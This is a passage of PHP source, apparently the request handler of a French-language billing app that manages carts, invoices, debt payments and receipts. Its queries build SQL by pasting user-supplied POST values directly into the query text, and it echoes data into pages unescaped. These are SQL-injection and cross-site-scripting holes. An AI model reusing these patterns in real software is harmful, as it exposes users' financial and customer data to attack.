table-bordered table-hover" style="font-size:12px;"> <tbody> <tr> <th> Article </th> <th> Qté </th> <th> Unité </th> <th class="number"> PU $</th> <th class="number"> PU Fc</th> <th class="number"> Tot. </th> <th></th> </tr> <?php $qst=$bd->query("SELECT * ,SUM(qte) qte, SUM(total) total FROM ( panier_proforma P ) INNER JOIN article A ON P.article = A.code_article WHERE P.username = '".$_SESSION['username']."' AND P.code_guichet = ".$_SESSION['cd_gui']." AND P.client = '' GROUP BY article"); $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr id="line_art<?php echo $rep['code_article'];?>"> <td> <?php echo $rep['designation_article'];?> </td> <td> <?php echo $rep['qte'];?> </td> <td> <?php echo $rep['unite_mesure'];?> </td> <td class="price" id="price<?php echo $rep['code_article'];?>"> <input type="hidden" id="up_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_detail'];?>"> <input type="hidden" id="down_price<?php echo $rep['code_article'];?>" value="<?php echo $rep['prix_unit_casse'];?>"> <span id="a_price<?php echo $rep['code_article'];?>"><?php echo number_format($rep['prix'],"2","."," ");?></span> <span id="c_price<?php echo $rep['code_article'];?>" class="hidden"><input type="number" id="new_price<?php echo $rep['code_article'];?>" value="<?php echo number_format($rep['prix'],"4",".","");?>" autocomplete="off" style="width:80px"> <a class="btn btn-success"><i class="mdi mdi-check btn_new_price" id="_price<?php echo $rep['code_article'];?>"></i></a></span> </td> <td class="number"> <?php echo number_format(($rep['prix'] * $taux_change),"0","."," ");?> </td> <td class="number"> <?php echo number_format(($rep['total'] * $taux_change),"0","."," ");?> </td> <td class="actions"><a href="#" class="icon line_fact_art" id="line_fact_art<?php echo $rep['code_article'];?>"><i class="text-danger mdi mdi-delete"></i></a></td> </tr> <?php } ?> </tbody><?php $tot=$bd->query("SELECT SUM(Total) tout_tot FROM panier_proforma WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." AND client = ''"); $tou=$tot->fetch(); $tout_tot=round($tou['tout_tot'],2); $tot_dol= $tout_tot; $tot_fr= $tot_dol * $taux_change; ?> <tfoot> <tr><td colspan=5></td></tr> <tr> <th> Total à Payer </th> <th class="number" colspan=3> <?php echo number_format($tot_dol,"2","."," "); ?> $</th> <th class="number" colspan=3> <?php echo number_format($tot_fr,"0","."," "); ?> FC</th> </tr> </tfoot> </table> <script type="text/javascript"> $(".line_fact_art").click(function(e){ var compteur=this.id, code_panier = compteur, type="delete_line_art"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_panier:code_panier,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#notification-rep').html(data); } }); }); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | Faturation', text:'Le panier du client vient d\'etre mis à jour !', class_name:'color dark', time:'5000'}); </script> <?php } else if($type=="refresh_situation_day"){ $swali2=$bd->query("SELECT SUM(total) totaux FROM ventes V LEFT JOIN dettes D ON V.numero_facture=D.numero_facture WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." AND date_vente = '".date('Y-m-d')."' AND D.numero_facture IS NULL"); $jibu2=$swali2->fetch(); $totaux=$jibu2['totaux']; $swali22=$bd->query("SELECT SUM(montant_paye) payements FROM payement_dette WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." AND date_paye = '".date('Y-m-d')."'"); $jibu22=$swali22->fetch(); $totaux = $totaux + $jibu22['payements']; $swali222=$bd->query("SELECT SUM(montant_depense) depenses FROM depenses WHERE username = '".$_SESSION['username']."' AND code_guichet = ".$_SESSION['cd_gui']." AND date_sortie = '".date('Y-m-d')."'"); $jibu222=$swali222->fetch(); $totaux = $totaux - $jibu222['depenses']; echo number_format($totaux,"2","."," ")." $"; } else if($type=="delete_line_art"){ $code_panier=preg_replace("#line_fact_art#","",$_POST['code_panier']); $bd->exec("DELETE FROM panier WHERE article = ".$code_panier." ");?> <script type="text/javascript"> $("#line_art<?php echo $code_panier;?>").addClass('hidden'); refresh_sections(); </script> <?php } else if($type=="cancel_facturation") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("DELETE FROM panier WHERE username = '".$username."' AND code_guichet = ".$code_guichet." "); $bd->exec("DELETE FROM panier_serv WHERE username = '".$username."' AND code_guichet = ".$code_guichet." "); } else if($type=="cancel_facturation_pro") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $bd->exec("DELETE FROM panier_proforma WHERE username = '".$username."' AND code_guichet = ".$code_guichet." AND client = '' "); $bd->exec("DELETE FROM panier_serv WHERE username = '".$username."' AND code_guichet = ".$code_guichet." "); } else if($type=="print_bill_sale") { $swali0=$bd->query("SELECT * FROM maison"); $jibu0=$swali0->fetch(); $maison=$jibu0['nom_societe']; $logo=$jibu0['logo']; $rccm=$jibu0['registre_commerce']; $adress=$jibu0['adresse_physique']; $contact=$jibu0['telephone']; $mail=$jibu0['mail']; $nat=$jibu0['id_nationnal']; $impo=$jibu0['num_impot']; $numero_facture = $_POST['num_bill']; $code_guichet = $_SESSION['cd_gui'];?> <i> <?php echo "<table class='ec' style='font-size:12'> <tr><th rowspan=4> <img src='$logo' style='width:80px'/> </th></tr> <tr><th><b style='font-size:30px'> $maison </b></th></tr> <tr><th> $rccm |<br/>$nat |<br/>$impo |</th></tr> <tr><th> $adress </th></tr></table>"; $TG=$TGdol=0;?> </i> <div class="widget widget-tile" id="fact"> <div class="panel panel-default panel-table"> <div class="panel-body ec" style="padding:1px;"> <center><b> FACTURE </b> <br>N° : <?php $nu=$bd->query("SELECT * ,IFNULL(IFNULL(P.nom_pdv,C.nom_client),F.client) client,DATE_FORMAT(F.date_fact,'%d/%m/%Y') date_fact FROM ((facture F LEFT JOIN dettes D ON F.numero_facture = D.numero_facture) LEFT JOIN client C ON D.code_client = C.code_client) LEFT JOIN point_vente P ON D.code_pdv = P.code_pdv WHERE F.numero_facture = '".$numero_facture."' "); $mero=$nu->fetch(); $client=$mero['client']; if($mero['type_crediteur']=="client"){ $etiquette=" [CLIENT]"; } else if($mero['type_crediteur']=="point_vente"){ $etiquette=" [POINT DE VENTE]"; } else { $etiquette="";} echo $mero['code_fact'];?> <br><?php echo 'Date : le '.date('d-m-Y').' à '.date('H:i:s');?></center> <?php $qst=$bd->query("SELECT * FROM ( ventes V NATURAL JOIN stock_article SA ) INNER JOIN article A ON V.article = A.code_article WHERE V.username = '".$_SESSION['username']."' AND V.code_guichet = ".$code_guichet." AND V.numero_facture ='".$numero_facture."' GROUP BY code_vente"); ?> <i>A l'intention de : </i><b> <?php echo $client.$etiquette;?> </b> <table border='2px' class="bor" width=100%> <thead> <tr> <th> </th> <th> Articles </th> <th class="number"> Qté </th> <th class="number"> Unité </th> <th class="number"> PU </th> <th class="number"> Tot. </th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr style="padding:0;"> <td> <?php echo $i;?></td> <td class="user-avatar"> <?php echo $rep['designation_article'];?> </td> <td class="number"> <?php echo $rep['qte'];?> </td> <td class="number"> <?php echo $rep['unite_mesure'];?> </td> <td class="number"> <?php echo number_format($rep['prix']* $taux_change,"0","."," ");?> </td> <td class="number"> <?php echo number_format($rep['total']* $taux_change,"0","."," ");?> </td> </tr> <?php } ?> </tbody> <tfoot> <?php $tot=$bd->query("SELECT SUM(Total) tout_tot FROM ventes V WHERE V.numero_facture ='".$numero_facture."' "); $tou=$tot->fetch(); $tout_tot=$tou['tout_tot']; $tot_dol=number_format($tout_tot * $taux_change,"0","."," "); ?> <tr> <th colspan=2> TVA </th> <th colspan=4 class="number"> <?php echo "00"; number_format(($tout_tot * 16)/100,"0","."," "); ?> Fc</th> </tr> <tr> <th colspan=2> Total En Franc </th> <th colspan=4 class="number"> <?php echo $tot_dol; ?> Fc</th> </tr> </tfoot> </table> <p><i> Les marchandises vendues ne sont ni échangées ni reprises !</i></p> <span> -- <?php echo $maison.", ".$contact." | ".$mail;?> --</span> </div> </div> </div> <script type="text/javascript"> $("#facture_print").removeClass("hidden"); $.print("#facture_print"); $("#facture_print").addClass("hidden"); </script><?php } else if($type=="print_bill_pro") { $swali0=$bd->query("SELECT * FROM maison"); $jibu0=$swali0->fetch(); $maison=$jibu0['nom_societe']; $logo=$jibu0['logo']; $rccm=$jibu0['registre_commerce']; $adress=$jibu0['adresse_physique']; $contact=$jibu0['telephone']; $mail=$jibu0['mail']; $nat=$jibu0['id_nationnal']; $impo=$jibu0['num_impot']; $numero_facture = $_POST['num_bill']; $code_guichet = $_SESSION['cd_gui'];?> <i> <?php echo "<table class='ec' style='font-size:12'> <tr><th rowspan=4> <img src='$logo' style='width:80px'/> </th></tr> <tr><th><b style='font-size:30px'> $maison </b></th></tr> <tr><th> $rccm |<br/>$nat |<br/>$impo |</th></tr> <tr><th> $adress </th></tr></table>"; $TG=$TGdol=0;?> </i> <div class="widget widget-tile" id="fact"> <div class="panel panel-default panel-table"> <div class="panel-body ec" style="padding:1px;"> <center><b> FACTURE PROFORMA</b> <br>N° : <?php $nu=$bd->query("SELECT *,DATE_FORMAT(date_fact,'%d-%m-%Y à %H:%i:%s')date_fact FROM facture_proforma WHERE numero_facture = '".$numero_facture."' "); $mero=$nu->fetch(); $client=$mero['client']; $num=$mero['code_fact']; echo $num;?> <br><?php echo 'Date : le '.$mero['date_fact'];?></center> <?php $qst=$bd->query("SELECT *,SUM(qte) qte, SUM(total) total FROM ( panier_proforma V ) INNER JOIN article A ON V.article = A.code_article WHERE V.username = '".$_SESSION['username']."' AND V.code_guichet = ".$code_guichet." AND V.client ='".$numero_facture."' GROUP BY code_article"); ?> <i>Nom du Client : </i><b> <?php echo $client;?> </b> <table border='2px' class="bor" width=100%> <thead> <tr> <th> </th> <th> Articles </th> <th class="number"> Qté </th> <th class="number"> Unité </th> <th class="number"> PU </th> <th class="number"> Tot. </th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr style="padding:0;"> <td> <?php echo $i;?></td> <td class="user-avatar"> <?php echo $rep['designation_article'];?> </td> <td class="number"> <?php echo $rep['qte'];?> </td> <td class="number"> <?php echo $rep['unite_mesure'];?> </td> <td class="number"> <?php echo number_format($rep['prix']* $taux_change,"0","."," ");?> </td> <td class="number"> <?php echo number_format($rep['total']* $taux_change,"0","."," ");?> </td> </tr> <?php } ?> </tbody> <tfoot> <?php $tot=$bd->query("SELECT SUM(total) tout_tot FROM panier_proforma V WHERE V.client ='".$numero_facture."' "); $tou=$tot->fetch(); $tout_tot=$tou['tout_tot']; $tot_dol=number_format($tout_tot * $taux_change,"0","."," "); ?> <tr> <th colspan=2> TVA </th> <th colspan=4 class="number"> <?php echo "00"; number_format(($tout_tot * 16)/100,"0","."," "); ?> Fc</th> </tr> <tr> <th colspan=2> Total En Franc </th> <th colspan=4 class="number"> <?php echo $tot_dol; ?> Fc</th> </tr> </tfoot> </table> <p><i> Cette facture a une validité de 30 jours dès la date de son émission !</i></p> <span> -- <?php echo $maison.", ".$contact." | ".$mail;?> --</span> </div> </div> </div> <script type="text/javascript"> $("#facture_print").removeClass("hidden"); $.print("#facture_print"); $("#facture_print").addClass("hidden"); </script><?php } else if($type=="view_line_fact") { $swali0=$bd->query("SELECT * FROM maison"); $jibu0=$swali0->fetch(); $maison=$jibu0['nom_societe']; $logo=$jibu0['logo']; $rccm=$jibu0['registre_commerce']; $adress=$jibu0['adresse_physique']; $contact=$jibu0['telephone']; $mail=$jibu0['mail']; $nat=$jibu0['id_nationnal']; $impo=$jibu0['num_impot']; $numero_facture = str_replace("line_fact","",$_POST['num_bill']); $code_guichet = $_SESSION['cd_gui'];?> <i> <?php echo "<table class='ec' style='font-size:12'> <tr><th rowspan=4> <img src='$logo' style='width:80px'/> </th></tr> <tr><th><b style='font-size:30px'> $maison </b></th></tr> <tr><th> $rccm |<br/>$nat |<br/>$impo |</th></tr> <tr><th> $adress </th></tr></table>"; $TG=$TGdol=0;?> </i> <div class="widget widget-tile" id="fact"> <div class="panel panel-default panel-table"> <div class="panel-body ec" style="padding:1px;"> <center><b> FACTURE PROFORMA</b> <br>N° : <?php $nu=$bd->query("SELECT *,DATE_FORMAT(date_fact,'%d-%m-%Y à %H:%i:%s')date_fact FROM facture_proforma WHERE numero_facture = '".$numero_facture."' "); $mero=$nu->fetch(); $client=$mero['client']; $num=$mero['code_fact']; echo $num;?> <br><?php echo 'Date : le '.$mero['date_fact'];?></center> <?php $qst=$bd->query("SELECT *,SUM(qte) qte, SUM(total) total FROM ( panier_proforma V ) INNER JOIN article A ON V.article = A.code_article WHERE V.client ='".$numero_facture."' GROUP BY code_article"); ?> <i>Nom du Client : </i><b> <?php echo $client;?> </b> <table border='2px' class="bor" width=100%> <thead> <tr> <th> </th> <th> Articles </th> <th class="number"> Qté </th> <th class="number"> Unité </th> <th class="number"> PU </th> <th class="number"> Tot. </th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { $i++; ?> <tr style="padding:0;"> <td> <?php echo $i;?></td> <td class="user-avatar"> <?php echo $rep['designation_article'];?> </td> <td class="number"> <?php echo $rep['qte'];?> </td> <td class="number"> <?php echo $rep['unite_mesure'];?> </td> <td class="number"> <?php echo number_format($rep['prix']* $taux_change,"0","."," ");?> </td> <td class="number"> <?php echo number_format($rep['total']* $taux_change,"0","."," ");?> </td> </tr> <?php } ?> </tbody> <tfoot> <?php $tot=$bd->query("SELECT SUM(total) tout_tot FROM panier_proforma V WHERE V.client ='".$numero_facture."' "); $tou=$tot->fetch(); $tout_tot=$tou['tout_tot']; $tot_dol=number_format($tout_tot * $taux_change,"0","."," "); ?> <tr> <th colspan=2> TVA </th> <th colspan=4 class="number"> <?php echo "00"; number_format(($tout_tot * 16)/100,"0","."," "); ?> Fc</th> </tr> <tr> <th colspan=2> Total En Franc </th> <th colspan=4 class="number"> <?php echo $tot_dol; ?> Fc</th> </tr> </tfoot> </table> <p><i> Cette facture a une validité de 30 jours dès la date de son émission !</i></p> <span> -- <?php echo $maison.", ".$contact." | ".$mail;?> --</span> </div> </div> </div> <?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++PAYEMENT FACT +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type=="search_facture_payement") { $code_fact = $_POST['search_facture'];?> <table class="table table-condensed table-bordered table-hover" style="font-size:12px"> <thead> <tr> <th> # </th> <th class="text-center"> Client/ PDV </th> <th class="text-center"> Date </th> <th class="text-center"> Montant </th> <th class="text-center"> Payé </th> <th> Solde </th> </tr> </thead> <tbody> <?php $hist=$bd->query("SELECT * ,IFNULL(SUM(montant_paye),0) MONTANT_PAYE,DATE_FORMAT(F.date_fact,'%d/%m/%Y') date_fact, F.total TOTAL FROM (((facture F INNER JOIN dettes D ON F.numero_facture = D.numero_facture) LEFT JOIN client C ON D.code_client = C.code_client) LEFT JOIN point_vente P ON D.code_pdv = P.code_pdv) LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE F.code_fact = '".$code_fact."' AND D.statut <> 'ok' OR P.nom_pdv LIKE '%".$code_fact."%' AND D.statut <> 'ok' OR C.nom_client LIKE '%".$code_fact."%' AND D.statut <> 'ok' GROUP BY F.code_fact ORDER BY F.date_fact DESC"); if($hist->rowCount()>0){ $i=0; while($htrq=$hist->fetch()){ $i++; ?> <tr class="line_pay_fact" id="line_pay_fact<?php echo $htrq['code_fact'];?>"> <td> <a href="#"><?php echo $htrq['code_fact'];?></a></td> <td> <?php echo $htrq['nom_client']." ".$htrq['nom_pdv'];?></td> <td> <?php echo $htrq['date_fact'];?></td> <td class="number"> <?php echo $htrq["TOTAL"];?></td> <td> <?php echo $htrq['MONTANT_PAYE'];?></td> <td> <?php echo number_format($htrq['TOTAL']- $htrq['MONTANT_PAYE'],"2","."," ");?> $</td> </tr> <?php } } else { echo " <tr> <th colspan=5 class='text-center'> pas d'information. <br> Merci. </th> </tr>"; } ?> </tbody> </table> <script type="text/javascript"> $(".line_pay_fact").click(function(e){ var compteur=this.id, code_fact = compteur, type="charge_fact_for_pay"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_fact:code_fact,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#space_pay').html(data); $('#notification-rep').html(""); } }); }); </script><?php } else if($type=="charge_fact_for_pay") { $code_fact = preg_replace("#line_pay_fact#","",$_POST['code_fact']); ?> <form action="#" data-parsley-validate="" novalidate="" method='POST' enctype='multipart/form-data' id="credit_payement"> <input type="hidden" name="type" value="credit_paye"> <?php $soma=$bd->query("SELECT * ,D.numero_facture,SUM(PD.montant_paye)dja,(D.montant - SUM(PD.montant_paye)) solde,DATE_FORMAT(F.date_fact,'%d/%m/%Y') date_fact FROM (((facture F INNER JOIN dettes D ON F.numero_facture = D.numero_facture) LEFT JOIN client C ON D.code_client = C.code_client) LEFT JOIN point_vente P ON D.code_pdv = P.code_pdv) LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE F.code_fact = '".$code_fact."' GROUP BY D.numero_facture"); $andika=$soma->fetch(); if($andika["dja"]==null){$dja=0; $solde=$andika['montant'];} else{$dja=$andika['dja']; $solde=$andika['solde']; } ?> <div class="panel-body"> <table class="table table-condensed table-hover table-bordered table-striped"> <tbody> <tr> <th> Numero Facture</th> <td><?php echo $andika['code_fact'];?> <input type='hidden' name='numero_facture' value='<?php echo $andika['numero_facture'];?>'></td> </tr> <tr> <th> Client / PDV </th> <td><?php echo $andika['nom_client']."".$andika['nom_pdv'];?> <input type='hidden' name='code_client' value='<?php echo $andika['code_client'];?>'> <input type='hidden' name='code_pdv' value='<?php echo $andika['code_pdv'];?>'></td> </tr> <tr> <th> Montant total </th> <td class="number"><?php echo number_format($andika['montant'],"2","."," ");?> USD <input type='hidden' name='montant_du' value='<?php echo ($andika['montant']);?>'/></td> </tr> <tr> <th> Montant déjà payé</th> <td class="number"><?php echo number_format($dja,"2","."," ");?> USD <input type='hidden' name='montant_verse' value='<?php echo ($dja);?>'></td> </tr> <tr> <th> Solde à payer</th> <td class="number"><?php echo number_format($solde,"2","."," ");?> USD <input type='hidden' name='solde' id='a_payer' value='<?php echo ($solde);?>'></td> </tr> </tbody> </table> </div> <table class="table table-condensed table-striped"> <tbody> <tr> <td> Montant Récu </td> <td colspan="3"><input type="number" name="montant_paye" id="montant_paye" parsley-trigger="change" required="" placeholder=" L'argent que vous vennez de percevoir" autocomplete="off" class="form-control" autocomplete="off" style="color:blue;border-radius:10px;width:100%;"/></div></td> </tr> <tr> <td colspan="4"> <div class="col-lg-5"> <button type="button" class="btn btn-danger pull-left" title="En cliquant ici, vous annulez le payement" id="btn_cancel_pay"> <i class="glyphicon glyphicon-user"></i> Annuler </a></center> </div> <div class="col-lg-7"> <button type="submit" class="btn btn-success pull-right" id="confirm_bill" title="En cliquant ici, vous affirmez avoir reçu la somme renseignée ci-haut"> <i class="glyphicon glyphicon-ok"></i> Confimer le Payement </button> </div> </td> </tr> </tbody> </table> </form> <script type="text/javascript"> $('#credit_payement').on('submit', function(e) { e.preventDefault(); var $form = $(this); var formdata = (window.FormData) ? new FormData($form[0]) : null; var data = (formdata !== null) ? formdata : $form.serialize(); var montant_paye = $('#montant_paye').val(); if(montant_paye !==''){ $.ajax({ url: 'fonction/save.php', type:'POST', contentType: false, // obligatoire pour de l'upload processData: false, // obligatoire pour de l'upload data: data, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#space_pay').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(response){ $('#notification-rep').html(""); $('#space_pay').html(response); refresh_cash(); } }); } else { $('.notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Commpletez le Montant réçu !",class_name:"color warning",time:"10000"}));} }); $("#montant_paye").keyup(function(e){ e.preventDefault(); var a_payer = parseFloat($('#a_payer').val()), client_montant_paye = parseFloat($('#montant_paye').val()); if(client_montant_paye > a_payer){ $('#notification-rep').html($.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking| Paiement Facture",text:"Le montant entrée est superieur à la dette du client !",class_name:"color warning",time:"10000"})); $("#montant_paye").val(a_payer); } }); </script><?php } else if($type=="credit_paye") { $username=$_SESSION['username']; $code_guichet=$_SESSION['cd_gui']; $montant_du = $_POST['montant_du']; $numero_facture= $_POST['numero_facture']; $date_paye = date('Y-m-d'); $montant_paye= $_POST['montant_paye']; $montant_dol= $montant_fr= 0; $solde=$_POST['solde']- $montant_paye; $genercle=$bd->query("SHOW TABLE STATUS like 'payement_dette'"); $ratecle=$genercle->fetch(); $code_paye=$ratecle['Auto_increment']; $bd->exec("INSERT INTO payement_dette VALUE (null,'".$date_paye."',".$montant_du.",".$montant_paye.",".$solde.",".$montant_dol.",".$montant_fr.",'".$numero_facture."',".$code_guichet.",'".$username."') "); if($solde<=0){ $bd->exec("UPDATE dettes SET statut ='ok' WHERE numero_facture = '".$numero_facture."' "); } ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({ title:'SIS-Booking | Paiement Crédit', text:'Le paiement vien d\'être enregisté avec Succès ! <hr> Montant du : <?php echo $montant_du;?><br> Montant Payé : <?php echo $montant_paye; ?><br> Solde : <?php echo $solde;?>', class_name:'color success', time:'15000' }); receipt_print("<?php echo $code_paye; ?>"); </script> <?php } else if($type=="print_receipt") { $swali0=$bd->query("SELECT * FROM maison"); $jibu0=$swali0->fetch(); $maison=$jibu0['nom_societe']; $logo=$jibu0['logo']; $rccm=$jibu0['registre_commerce']; $adress=$jibu0['adresse_physique']; $contact=$jibu0['telephone']; $mail=$jibu0['mail']; $nat=$jibu0['id_nationnal']; $impo=$jibu0['num_impot']; $code_guichet = $_SESSION['cd_gui'];?> <i> <?php echo "<table class='ec' style='font-size:12'> <tr><th rowspan=4> <img src='$logo' style='width:80px'/> </th></tr> <tr><th><b style='font-size:30px'> $maison </b></th></tr> <tr><th> $rccm |<br/>$nat |<br/>$impo |</th></tr> <tr><th> $adress </th></tr></table>"; $TG=$TGdol=0; $qst=$bd->query("SELECT *,DATE_FORMAT(date_paye,'%d-%m-%Y') date_paye FROM ((facture F INNER JOIN (payement_dette P INNER JOIN dettes D ON D.numero_facture = P.numero_facture ) ON F.numero_facture = D.numero_facture) LEFT JOIN client C ON D.code_client = C.code_client) LEFT JOIN point_vente PDV ON D.code_pdv = PDV.code_pdv WHERE code_paye = ".$_POST['num_receipt']." "); $rep=$qst->fetch();?> <h2 class="text-center"> RECU N° <?php echo $rep['code_paye'];?></h2><p class="text-center"> du <i> <?php echo $rep['date_paye'];?></i></p><br><hr> <table class='table table-condensed table-bordered' style="font-size:12px"> <thead> <tr> <th> Client </th> <th colspan=3> <?php echo $rep['nom_client']." ".$rep['nom_pdv'];?> </th> </tr> <tr> <th> N° Fact: </th> <th> Du </th> <th class="number"> Montant</th> </tr> </thead> <tbody> <tr> <td> <?php echo $rep['code_fact'];?> </td> <td> <?php echo $rep['date_octroi'];?> </td> <td class="number"> <?php echo number_format($rep['montant_du'],"2","."," "); $ante = $rep['montant_du'] - $rep['solde'] - $rep['montant_paye']; ?> $</td> </tr> <tr> <td> Paiement préc. </td> <td colspan=2 class="number"> <?php echo number_format($ante,"2","."," "); ?> $</td> </tr> <tr> <th> Tot. Payé </th> <th colspan=2 class="number"> <?php echo number_format($rep['montant_paye'],"2","."," "); ?> $</th> </tr> <tr> <td> Solde(Reste) </td> <td colspan=2 class="number"> <?php echo number_format($rep['solde'],"2","."," "); ?> $</td> </tr> </tbody> </table> <div align="right"><i>Pour la Claisse <br><?php echo $_SESSION['username']; ?></i></div> <hr><span style="padding:1px;"> -- <?php echo $maison.", ".$contact." | ".$mail;?> --</span> <script type="text/javascript"> $("#facture_print").removeClass("hidden"); $.print("#facture_print"); $("#facture_print").addClass("hidden"); </script><?php } else if($type=="search_client_payement") { $search_client = $_POST['search_client_dette'];?> <table class="table table-condensed table-bordered table-hover" style="font-size:12px"> <thead> <tr> <th> # </th> <th class="text-center"> Client </th> <th class="text-center"> Réduction </th> <th class="text-center"> Montant </th> <th class="text-center"> Payé </th> <th> Solde </th> </tr> </thead> <tbody> <?php $hist= $bd->query("SELECT * ,IFNULL(SUM(PD.montant_paye),0) MONTANT_PAYE FROM (client C INNER JOIN dettes D ON C.code_client = D.code_client) LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE D.code_client = '".$search_client."' OR C.nom_client LIKE '%".$search_client."%' GROUP BY D.code_client DESC"); if($hist->rowCount()>0){ $i=0; while($htrq=$hist->fetch()){ $i++; $qst= $bd->query("SELECT * ,IFNULL(SUM(D.montant),0) MONTANT FROM dettes D WHERE D.code_client = ".$htrq['code_client']." "); $rep=$qst->fetch(); $rqt=$bd->query("SELECT SUM(montant_paye) reduit FROM payement_dette P INNER JOIN dettes D ON P.numero_facture = D.numero_facture WHERE P.code_guichet = 0 AND D.code_client = ".$htrq['code_client']." "); $tion=$rqt->fetch(); $reduit = $tion['reduit']; ?> <tr class="line_pay_client" id="line_pay_client<?php echo $htrq['code_client'];?>"> <td> <a href="#"><?php echo $htrq['code_client'];?></a></td> <td> <?php echo $htrq['nom_client'];?></td> <td class="number"> <?php echo number_format($reduit,"2","."," ");?> $</td> <td class="number"> <?php echo number_format($rep["MONTANT"],"2","."," ");?> $</td> <td class="number"> <?php echo number_format($htrq['MONTANT_PAYE'],"2","."," ");?> $</td> <td class="number"> <?php echo number_format($rep['MONTANT']- $htrq['MONTANT_PAYE'],"2","."," ");?> $</td> </tr> <?php } } else { echo " <tr> <th colspan=5 class='text-center'> pas d'information. <br> Merci. </th> </tr>"; } ?> </tbody> </table> <script type="text/javascript"> $(".line_pay_client").click(function(e){ var compteur=this.id, code_client = compteur, type="charge_dette_client_for_pay"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_client:code_client,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); }, success:function(data){ $('#multy_pay').html(data); $('#notification-rep').html(""); } }); }); </script><?php } else if($type=="charge_dette_client_for_pay") { $code_client = preg_replace("#line_pay_client#","",$_POST['code_client']); ?> <form action="#" data-parsley-validate="" novalidate="" method='POST' enctype='multipart/form-data' id="client_credit_payement"> <input type="hidden" name="type" value="client_credit_paye"> <?php $hist= $bd->query("SELECT * ,IFNULL(SUM(PD.montant_paye),0) MONTANT_PAYE FROM (client C INNER JOIN dettes D ON C.code_client = D.code_client) LEFT JOIN payement_dette PD ON D.numero_facture = PD.numero_facture WHERE D.code_client = '".$code_client."' GROUP BY D.code_client DESC"); $htrq=$hist->fetch(); $qst= $bd->query("SELECT * ,IFNULL(SUM(D.montant),0) MONTANT FROM dettes D WHERE D.code_client = ".$htrq['code_client']." "); $rep=$qst->fetch(); $rqt=$bd->query("SELECT SUM(montant_paye) reduit FROM payement_dette P INNER JOIN dettes D ON P.numero_facture = D.numero_facture WHERE P.code_guichet = 0 AND D.code_client = ".$htrq['code_client']." "); $tion=$rqt->fetch(); $reduit = $tion['reduit']; ?> <div class="panel-body"> <table class="table table-condensed table-hover table-bordered table-striped"> <tbody> <tr> <th> Numero Client </th> <td><?php echo $htrq['code_client'];?> <input type='hidden' name='code_client' id='code_client' value='<?php echo "D.code_client =".$htrq['code_client']." ";?>'></td> </tr> <tr> <th> Nom Client </th> <td><?php echo $htrq['nom_client'];?></td> </tr> <tr> <th> Montant total </th> <td class="number"><?php echo number_format($rep["MONTANT"],"2","."," ");?> USD </td> </tr> <tr> <th> Montant déjà payé</th> <td class="number"><?php echo number_format($htrq["MONTANT_PAYE"],"2","."," ");?> USD </td> </tr> <tr> <th> Solde à payer</th> <td class="number"><?php echo number_format($rep['MONTANT']- $htrq['MONTANT_PAYE'],"2","."," ");?> USD <input type="hidden" value="<?php echo $rep['MONTANT']- $htrq['MONTANT_PAYE'];?>" id="a_payer"></td> </tr> </tbody> </table> </div> <table class="table table-condensed table-striped"> <tbody> <tr> <td> Montant Récu </td> <td colspan="3"> <div class="input-group xs-mb-15" style="width:100%"> <input class="form-control" type="number" name="client_montant_paye" id="client_montant_paye" parsley-trigger="change" required="" placeholder=" La somme que vous vennez de percevoir" autocomplete="off" style="border-radius:10px;"><span class="input-group-btn"> <button type="button" class="btn btn-primary" id="voir_fact" style="border-radius:10px;"><i class="mdi mdi-format-list-numbered"></i> Facture à payer</button></span> </div> </td> </tr> <tr> <td colspan="4" id="fact_payable"> </td> </tr> <tr> <td colspan="4"> <div class="col-lg-5"> <button type="button" class="btn btn-danger pull-left" title="En cliquant ici, vous annulez le payement" id="btn_cancel_pay_cl"> <i class="glyphicon glyphicon-user"></i> Annuler </a></center> </div> <div class="col-lg-7"> <button type="submit" class="btn btn-success pull-right" id="confirm_bills" title="En cliquant ici, vous affirmez avoir reçu la somme renseignée ci-haut"> <i class="glyphicon glyphicon-ok"></i> Confimer le Payement </button> </div> </td> </tr> </tbody> </table> </form> <script type="text/javascript"> $('#client_credit_payement').on('submit', function(e) { e.preventDefault(); var $form = $(this); var formdata = (window.FormData) ? new FormData($form[0]) : null; var data = (formdata !== null) ? formdata : $form.serialize(); var client_montant_paye = 